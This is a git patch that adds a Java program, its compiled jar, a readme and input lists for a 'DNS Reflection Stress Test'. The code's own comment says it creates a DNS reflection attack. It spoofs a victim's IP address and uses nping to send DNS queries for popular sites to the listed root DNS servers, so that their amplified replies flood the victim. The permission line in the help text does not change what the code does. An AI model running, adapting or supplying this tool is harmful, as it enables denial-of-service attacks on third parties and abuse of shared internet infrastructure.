From efd89c59812a7dbb880e05fbd505bfba6897379e Mon Sep 17 00:00:00 2001 From: John Doggett Date: Sun, 4 Oct 2020 23:07:41 -0400 Subject: [PATCH] Add files via upload --- .../DNSRST/DNSReflector.jar | Bin 0 -> 11887 bytes DNSReflectionStressTest/DNSRST/DomainServers | 14 ++ DNSReflectionStressTest/DNSRST/Websites | 9 + DNSReflectionStressTest/DNSRST/readme | 6 + DNSReflectionStressTest/src/DNSReflector.java | 182 ++++++++++++++++++ 5 files changed, 211 insertions(+) create mode 100644 DNSReflectionStressTest/DNSRST/DNSReflector.jar create mode 100644 DNSReflectionStressTest/DNSRST/DomainServers create mode 100644 DNSReflectionStressTest/DNSRST/Websites create mode 100644 DNSReflectionStressTest/DNSRST/readme create mode 100644 DNSReflectionStressTest/src/DNSReflector.java diff --git a/DNSReflectionStressTest/DNSRST/DNSReflector.jar b/DNSReflectionStressTest/DNSRST/DNSReflector.jar new file mode 100644 index 0000000000000000000000000000000000000000..7f093b311e3c18dca53d36102f97069e44f926bf GIT binary patch literal 11887 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 literal 0 HcmV?d00001 diff --git a/DNSReflectionStressTest/DNSRST/DomainServers b/DNSReflectionStressTest/DNSRST/DomainServers new file mode 100644 index 0000000..eb41204 --- /dev/null +++ b/DNSReflectionStressTest/DNSRST/DomainServers @@ -0,0 +1,14 @@ +198.41.0.4 +199.9.14.201 +192.33.4.12 +199.7.91.13 +192.203.230 +192.5.5.241 +192.112.36.4 +198.97.190.53 +192.36.148.17 +192.58.128.30 +193.0.14.129 +199.7.83.42 +202.12.27.33 + diff --git a/DNSReflectionStressTest/DNSRST/Websites b/DNSReflectionStressTest/DNSRST/Websites new file mode 100644 index 0000000..3d5307b --- /dev/null +++ b/DNSReflectionStressTest/DNSRST/Websites @@ -0,0 +1,9 @@ +google.com +yahoo.com +youtube.com +apple.com +facebook.com +instagram.com +discord.com +github.com +reddit.com diff --git a/DNSReflectionStressTest/DNSRST/readme b/DNSReflectionStressTest/DNSRST/readme new file mode 100644 index 0000000..b9638a7 --- /dev/null +++ b/DNSReflectionStressTest/DNSRST/readme @@ -0,0 +1,6 @@ +Make sure to run as root. +Add a new website or domain server address to DomainServers and Website file on a new line to add custom websites and domain servers. DomainServers and Websites must be in same directory as DNSReflector.jar. +Run with java -jar DNSReflector.jar (arguments) +View help command with java -jar DSNReflector.jar --help +You can view view more about DNS packets here: http://www.networksorcery.com/enp/protocol/dns.htm + diff --git a/DNSReflectionStressTest/src/DNSReflector.java b/DNSReflectionStressTest/src/DNSReflector.java new file mode 100644 index 0000000..cfeeea1 --- /dev/null +++ b/DNSReflectionStressTest/src/DNSReflector.java @@ -0,0 +1,182 @@ +import java.io.File; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.math.BigInteger; +import java.net.Inet4Address; +import java.net.InetAddress; +import java.net.NetworkInterface; +import java.util.ArrayList; +import java.util.Enumeration; +import java.util.Random; +import java.util.Scanner; +import java.util.regex.Pattern; + +/** + * A simple program that uses nping to create a DNS reflection attack. By + * spoofing a victim IP packets can be amplified from a DNS server to the + * victim. + * + * @author John Doggett + * + */ +public class DNSReflector { + + public static void main(String[] args) throws IOException, InterruptedException { + ArrayList domainServers = new ArrayList(); + ArrayList websiteDomains = new ArrayList(); + Scanner domainScan = new Scanner(new File("DomainServers")); + Scanner websiteScan = new Scanner(new File("Websites")); + while (domainScan.hasNextLine()) { + domainServers.add(domainScan.nextLine()); + } + while (websiteScan.hasNextLine()) { + websiteDomains.add((websiteScan.nextLine().split(Pattern.quote(".")))); + } + domainScan.close(); + websiteScan.close(); + + String[] hexwebsiteDomains = new String[websiteDomains.size()]; + for (int a = 0; a < hexwebsiteDomains.length; a++) { + hexwebsiteDomains[a] = ""; + } + for (int a = 0; a < websiteDomains.size(); a++) { + for (int b = 0; b < websiteDomains.get(a).length; b++) { + + String length = Integer.toHexString(websiteDomains.get(a)[b].length()); + if (length.length() == 1) { + length = "0" + length; + } + + hexwebsiteDomains[a] += length + stringToHexString(websiteDomains.get(a)[b]); + } + hexwebsiteDomains[a] += "00"; + } + + int numberOfIterations = 1; + int count = 1; + int rate = 1; + String request = "0001"; + + String sourceIP = Inet4Address.getLocalHost().getHostAddress(); + + if (sourceIP.contains("127")) { + Enumeration nInterfaces = NetworkInterface.getNetworkInterfaces(); + while (nInterfaces.hasMoreElements()) { + Enumeration inetAddresses = nInterfaces.nextElement().getInetAddresses(); + while (inetAddresses.hasMoreElements()) { + String temp = inetAddresses.nextElement().getHostAddress(); + + if (temp.contains("127") == false && temp.contains(".")) { + sourceIP = temp; + } + } + } + } + + if(System.getProperty("user.name").equals("root") == false) { + if(args.length >= 1) { + args[0] = "--help"; + } + else { + args = new String[1]; + args[0] = "--help"; + } + } + + String sourcePort = "53"; + boolean verbose = false; + for (int a = 0; a < args.length; a++) { + switch (args[a]) { + case "--count": + if (a + 1 < args.length && args[a + 1].matches("^[0-9]*$") && (args[a + 1]).length() >= 1 + && Integer.parseInt(args[a + 1]) >= 0) { + count = Integer.parseInt(args[a + 1]); + a++; + break; + } + case "--rate": + if (a + 1 < args.length && args[a + 1].matches("^[0-9]*$") && (args[a + 1]).length() >= 1 + && Integer.parseInt(args[a + 1]) >= 0) { + rate = Integer.parseInt(args[a + 1]); + a++; + break; + } + case "--iterations": + if (a + 1 < args.length && args[a + 1].matches("^[0-9]*$") && (args[a + 1]).length() >= 1 + && Integer.parseInt(args[a + 1]) >= 0) { + numberOfIterations = Integer.parseInt(args[a + 1]); + a++; + break; + } + case "--request": + if (a + 1 < args.length && args[a + 1].length() == 4) { + request = args[a + 1]; + a++; + break; + } + case "--source-ip": + if (a + 1 < args.length) { + sourceIP = args[a + 1]; + a++; + break; + } + case "--source-port": + if (a + 1 < args.length) { + sourcePort = args[a + 1]; + a++; + break; + } + case "--verbose": + verbose = true; + break; + + default: + System.out.println("---DNS Reflection Benchmark Stress Test---"); + System.out.println("Use with permission of target and DNS servers!"); + System.out.println("-Run as root!-\n"); + System.out.println( + "--count (positive integer), affects how many times each nping thread sends a packet, default 1"); + System.out.println( + "--help (or entering any non-existant commands), will print a help page and prevent sending of packets"); + System.out.println( + "--iterations (positive integer), affects how many nping threads will be made (multiplied by number of websites and number of domain servers), default 1"); + System.out.println( + "--rate (positive integer), amount of packets each nping thread sends per minute, default 1"); + System.out.println( + "--request (2bit hexadecimal string), changes dns packet query type, default 0001 (ipv4 a record)"); + System.out.println("--source-ip (ipv4 address), spoof udp packet source address, default local ip"); + System.out.println("--source-port (udp port), will send dns reponse to desired port, default 53"); + System.out.println( + "--verbose, will print arguments for every nping thread created. WARNING: CAUSES HEAVY USAGE IF CREATING LOTS OF THREADS!"); + numberOfIterations = 0; + a = args.length; + break; + + } + + } + + Random r = new Random(); + String IP = "199.7.91.13"; + for (int c = 0; c < numberOfIterations; c++) { + for (int b = 0; b < domainServers.size(); b++) { + IP = domainServers.get(b); + for (int a = 0; a < hexwebsiteDomains.length; a++) { + String command = "nping --ttl 64 --udp --source-ip " + sourceIP + " --dest-port 53 --rate " + rate + + " --send-ip --source-port " + sourcePort + " --count " + count + " --dest-ip " + IP + + " --data " + Integer.toHexString(r.nextInt(65536)) + "00000001000000000000" + + hexwebsiteDomains[a] + request + "0001"; + if (verbose) { + System.out.println(command); + } + Runtime.getRuntime().exec(command); + } + } + } + } + + public static String stringToHexString(String input) throws UnsupportedEncodingException { + return String.format("%x", new BigInteger(1, input.getBytes("US-ASCII"))); + } + +}